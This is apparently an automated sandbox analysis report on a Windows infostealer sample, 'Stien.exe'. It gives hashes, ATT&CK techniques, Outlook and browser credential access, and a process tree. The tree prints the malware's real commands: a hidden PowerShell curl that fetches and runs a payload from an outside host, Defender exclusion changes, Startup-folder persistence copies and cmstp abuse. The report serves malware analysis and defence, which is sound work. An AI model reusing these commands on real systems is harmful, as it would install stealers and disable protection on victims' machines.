ce8f36cb260a5e3d03fab13624208d531551b5dc82e2097b9dd38707c32852de

Analysis

max time kernel
144s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
22/05/2024, 04:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Stien.exe
Size 48KB
Sample240522-e7nw6acb69
SHA256 ce8f36cb260a5e3d03fab13624208d531551b5dc82e2097b9dd38707c32852de
MD5 bda9523d7221942e46def67ed473e33e
SHA1 ce837c7ac128e361217316041891da0872b87290
SHA512 5e8f0e619d8dfc664a8e833243cda8b4cc638a324590e5f26c3d991cca5b674fe9677449163fcb78dea8b8c27c60e37651e63ec6cfac475e2ca404ca1cef6388
SSDEEP 768:+GJzSq8Maq5s9OIyziuT/2dcWhzzkOFbQBU669RhQM+8M+FG:+RqfKOtiuTuRbQALK
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

collection execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
380	Powershell.exe
2324	Powershell.exe
1144	powershell.exe
2280	powershell.exe
1144	powershell.exe
3104	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	Stien.exe

Drops startup file 4 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xpjvcl.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xpjvcl.exe	Powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hfumrmg.exe	Powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hfumrmg.exe	Powershell.exe

Executes dropped EXE 6 IoCs

pid	Process
3500	Xwemz.exe
4348	Xpjvcl.exe
3976	Xpjvcl.exe
4964	Xpjvcl.exe
2068	hfumrmg.exe
1140	hfumrmg.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key opened	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key opened	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	Xwemz.exe
Key opened	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key opened	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key opened	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key opened	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key opened	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4348 set thread context of 4964	4348	Xpjvcl.exe	117
PID 2068 set thread context of 1140	2068	hfumrmg.exe	121

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
2256	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1140	hfumrmg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
2280	powershell.exe
1144	powershell.exe
1144	powershell.exe
3104	powershell.exe
3104	powershell.exe
3500	Xwemz.exe
3500	Xwemz.exe
3500	Xwemz.exe
3500	Xwemz.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe
380	Powershell.exe
380	Powershell.exe
4348	Xpjvcl.exe
4348	Xpjvcl.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	3160	Stien.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	1144	powershell.exe
Token: SeDebugPrivilege	2256	taskkill.exe
Token: SeDebugPrivilege	3104	powershell.exe
Token: SeDebugPrivilege	3500	Xwemz.exe
Token: SeDebugPrivilege	4348	Xpjvcl.exe
Token: SeDebugPrivilege	380	Powershell.exe
Token: SeDebugPrivilege	4964	Xpjvcl.exe
Token: SeDebugPrivilege	2068	hfumrmg.exe
Token: SeDebugPrivilege	2324	Powershell.exe
Token: SeDebugPrivilege	1140	hfumrmg.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2280	powershell.exe
2280	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 2280	3160	Stien.exe	84
PID 3160 wrote to memory of 2280	3160	Stien.exe	84
PID 3160 wrote to memory of 2280	3160	Stien.exe	84
PID 2280 wrote to memory of 368	2280	powershell.exe	90
PID 2280 wrote to memory of 368	2280	powershell.exe	90
PID 2280 wrote to memory of 368	2280	powershell.exe	90
PID 2280 wrote to memory of 1592	2280	powershell.exe	93
PID 2280 wrote to memory of 1592	2280	powershell.exe	93
PID 2280 wrote to memory of 1592	2280	powershell.exe	93
PID 1592 wrote to memory of 3096	1592	csc.exe	95
PID 1592 wrote to memory of 3096	1592	csc.exe	95
PID 1592 wrote to memory of 3096	1592	csc.exe	95
PID 1916 wrote to memory of 1144	1916	DllHost.exe	96
PID 1916 wrote to memory of 1144	1916	DllHost.exe	96
PID 1916 wrote to memory of 1144	1916	DllHost.exe	96
PID 1916 wrote to memory of 2256	1916	DllHost.exe	100
PID 1916 wrote to memory of 2256	1916	DllHost.exe	100
PID 1916 wrote to memory of 2256	1916	DllHost.exe	100
PID 3160 wrote to memory of 3104	3160	Stien.exe	106
PID 3160 wrote to memory of 3104	3160	Stien.exe	106
PID 3160 wrote to memory of 3104	3160	Stien.exe	106
PID 3104 wrote to memory of 5064	3104	powershell.exe	108
PID 3104 wrote to memory of 5064	3104	powershell.exe	108
PID 3104 wrote to memory of 5064	3104	powershell.exe	108
PID 3104 wrote to memory of 3500	3104	powershell.exe	109
PID 3104 wrote to memory of 3500	3104	powershell.exe	109
PID 3500 wrote to memory of 4348	3500	Xwemz.exe	113
PID 3500 wrote to memory of 4348	3500	Xwemz.exe	113
PID 3500 wrote to memory of 4348	3500	Xwemz.exe	113
PID 4348 wrote to memory of 380	4348	Xpjvcl.exe	114
PID 4348 wrote to memory of 380	4348	Xpjvcl.exe	114
PID 4348 wrote to memory of 380	4348	Xpjvcl.exe	114
PID 4348 wrote to memory of 3976	4348	Xpjvcl.exe	116
PID 4348 wrote to memory of 3976	4348	Xpjvcl.exe	116
PID 4348 wrote to memory of 3976	4348	Xpjvcl.exe	116
PID 4348 wrote to memory of 4964	4348	Xpjvcl.exe	117
PID 4348 wrote to memory of 4964	4348	Xpjvcl.exe	117
PID 4348 wrote to memory of 4964	4348	Xpjvcl.exe	117
PID 4348 wrote to memory of 4964	4348	Xpjvcl.exe	117
PID 4348 wrote to memory of 4964	4348	Xpjvcl.exe	117
PID 4348 wrote to memory of 4964	4348	Xpjvcl.exe	117
PID 4348 wrote to memory of 4964	4348	Xpjvcl.exe	117
PID 4348 wrote to memory of 4964	4348	Xpjvcl.exe	117
PID 2068 wrote to memory of 2324	2068	hfumrmg.exe	119
PID 2068 wrote to memory of 2324	2068	hfumrmg.exe	119
PID 2068 wrote to memory of 2324	2068	hfumrmg.exe	119
PID 2068 wrote to memory of 1140	2068	hfumrmg.exe	121
PID 2068 wrote to memory of 1140	2068	hfumrmg.exe	121
PID 2068 wrote to memory of 1140	2068	hfumrmg.exe	121
PID 2068 wrote to memory of 1140	2068	hfumrmg.exe	121
PID 2068 wrote to memory of 1140	2068	hfumrmg.exe	121
PID 2068 wrote to memory of 1140	2068	hfumrmg.exe	121
PID 2068 wrote to memory of 1140	2068	hfumrmg.exe	121
PID 2068 wrote to memory of 1140	2068	hfumrmg.exe	121

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Xwemz.exe

C:\Users\Admin\AppData\Local\Temp\Stien.exe
"C:\Users\Admin\AppData\Local\Temp\Stien.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -WindowStyle Hidden -f C:\Users\Public\D.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\SysWOW64\cmstp.exe
    "cmstp.exe" C:\Users\Public\user.inf /au
    3⤵
    PID:368
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\b1w4f4kw\b1w4f4kw.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1592
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5AC2.tmp" "c:\Users\Admin\AppData\Local\Temp\b1w4f4kw\CSC93884A14A5A549A6A9B018379DBAE577.TMP"
      4⤵
      PID:3096
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -WindowStyle Hidden -c curl.exe 'http://voucher-01-static.com/rkei/Xwemz.exe' -o ('C:\Users\Public\Xwemz.exe');start ('C:\Users\Public\Xwemz.exe')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3104
- - C:\Windows\SysWOW64\curl.exe
    "C:\Windows\system32\curl.exe" http://voucher-01-static.com/rkei/Xwemz.exe -o C:\Users\Public\Xwemz.exe
    3⤵
    PID:5064
- - C:\Users\Public\Xwemz.exe
    "C:\Users\Public\Xwemz.exe"
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:3500
  - - C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe
      "C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4348
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
        
        "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xpjvcl.exe' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:380
    - - C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"
        5⤵
        Executes dropped EXE
        
        PID:3976
    - - C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Xpjvcl.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4964

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- Suspicious use of WriteProcessMemory
PID:1916
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy UnRestricted -WindowStyle Hidden Add-MpPreference -ExclusionPath $env:PUBLIC,'C:\';Add-MpPreference -ExclusionExtension '.exe';
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1144
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /IM cmstp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2256

C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe
C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
  "Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hfumrmg.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious use of AdjustPrivilegeToken
  PID:2324
- C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe
  "C:\Users\Admin\AppData\Local\Temp\hfumrmg.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  PID:1140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Xpjvcl.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Xpjvcl.exe.log
Size 1KB
SHA256 27fd9ebf0884562dedf4289f7b19b3c479b83fae4438f37bc76994ce79d14555
MD5 1b9a6ab9c65f5dbebe86628f9e204a59
SHA1 f951357f15738b132682e84081602e68c49c676e
SHA512 24d7e6280d3eca65e4eb001773fb44d48b77778ff64af36a263f80960be189b3bc6675c109630a315619c5e80e00889bb15a548a1fa1c769505337eacc5bcad2
MD5 SHA1 SHA512

Submit Download

hfumrmg.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hfumrmg.exe.log
Size 1KB
SHA256 bd9d5e9f7fe6fcff17d873555d4077d15f7d6cdda1183e7f7d278b735ffe1fd7
MD5 e08f822522c617a40840c62e4b0fb45e
SHA1 ae516dca4da5234be6676d3f234c19ec55725be7
SHA512 894a7fb7bbc18ac6ba13378f58a7db80ad00d6080be9a66b01cae8e23e41d9d2d4cd53c1e20669356b73590c8a3ebfda4bdda3258f81240db56c4a81b7313fe4
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 1e1429600d42a8909fd2384b5ad2ddf6b8c0c2d13c6a6ef39f016b9d6da8cb4f
MD5 0f8e677518ab6a4ddd7bcfe446b29ea7
SHA1 217b862eeab0fcf00e264f7285f5a16dd67be614
SHA512 bd9889d31307d560465b04d7197e86ad9200feceae59632fa79ad9a5467fa8cca91eab0a2ecc5a479672ea0f5111ba517feccecf638f5bf9c867d1e0b8b7c6b4
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 1039291c95a2a1b06c4e8609672f39150dd5971f90811aa31fc4abdcd2fe7e89
MD5 5b8f93bf1a6d3b55a0e66bbaa525091b
SHA1 6aef683380080f2174babaf9ff232b972e24977b
SHA512 47c808b7af02b89501c5b2d3d865396a67e34d4d45e6caa9f59455eb46227e77726c72c58cd0d94fadc8083112df3085c0f1747048bc098fb17d402d7f69e6e3
SSDEEP 384:X6+Bhp+e5mGq72pxNXkyto9o5ATsYY1cN7/+uApl3SopDhAiHhonbeL+nyN+kKl:K4i2x0jo5ATzx96pBShiBoryw/
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 e24b54c3cf5fb2ce80ba65c62f705bfabb04fb64314497ec28d9f1b7a61c4334
MD5 28cd85106cf59e4dd20558b32c4151f7
SHA1 8059a70a37d1a40952647096207fc493455eb4cd
SHA512 df308ec6e9b5ec4f82bf3572bd0d088eaf7147d5e940c9f08ea157bc9c52deebaed76c014c364b9661e5186b1701bbc4544b6c3887392fe22c008e80d9d5e334
SSDEEP 384:Frf+2WQk1b/ZgLNRTdzJk+o9o2TA6seY1d2pu46iflwazIoCtW:tfKHb/oZejo2TvoFifmazIoCY
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 15KB
SHA256 2aa6fd9a8faeca7cb2a854e3008af806e459e8a523e91a015fc268993a67046e
MD5 65d58abd73618352222d0e5d5ebf7e50
SHA1 313fc7bdc9f2dbf8ef642a3fcce9524d95c48cd4
SHA512 1250d41aba9ec8f2585d699e21605930ebba6f2b7462dced13223959298e9267f25f50f518f3385848c9bf5a12bcd064fcf66077db9cb6166a1912edfbefe7c3
SSDEEP 384:+rf+eW391w00QgYfqNF8NYvLGZcifE6h58dAz3WpO1:sfSrLgY6F8NoVifxh58dAzX
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 20KB
SHA256 36d12c8d46e987b3e524e4121e360484ea893777697f1403710af0007a4d0f53
MD5 2210bf2436088031f3e6075a03cca18e
SHA1 97a403918fa2c6bccf1269e9e738413db2df54af
SHA512 fb7f1e2d5090bb3a8319c1125c1244956f60d064412b0457a425890efb51f001f1ab1099ec1708e62c97c6a0dd5495499859a83b043fe3740e2442ade2414e0b
SSDEEP 384:ab+erGzg9p+tuKamwK8vBizMkOrUTo/6seYeuzq9/OEYzmXe/Qp3lHrSlCnByU02:G3GFuKaFvo7OrUToAA29GZmzrLaNRho
MD5 SHA1 SHA512 SSDEEP

Submit Download

Egwfmpctg.tmpdb

Path C:\Users\Admin\AppData\Local\Temp\Egwfmpctg.tmpdb
Size 124KB
SHA256 a4cd72e529e60b5f74c50e4e5b159efaf80625f23534dd15a28203760b8b28ab
MD5 9618e15b04a4ddb39ed6c496575f6f95
SHA1 1c28f8750e5555776b3c80b187c5d15a443a7412
SHA512 f802582aa7510f6b950e3343b0560ffa9037c6d22373a6a33513637ab0f8e60ed23294a13ad8890935b02c64830b5232ba9f60d0c0fe90df02b5da30ecd7fa26
SSDEEP 96:hBWU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:hBl+bDo3irhnyTpvVj3XBBE3u
MD5 SHA1 SHA512 SSDEEP

Submit Download

RES5AC2.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES5AC2.tmp
Size 1KB
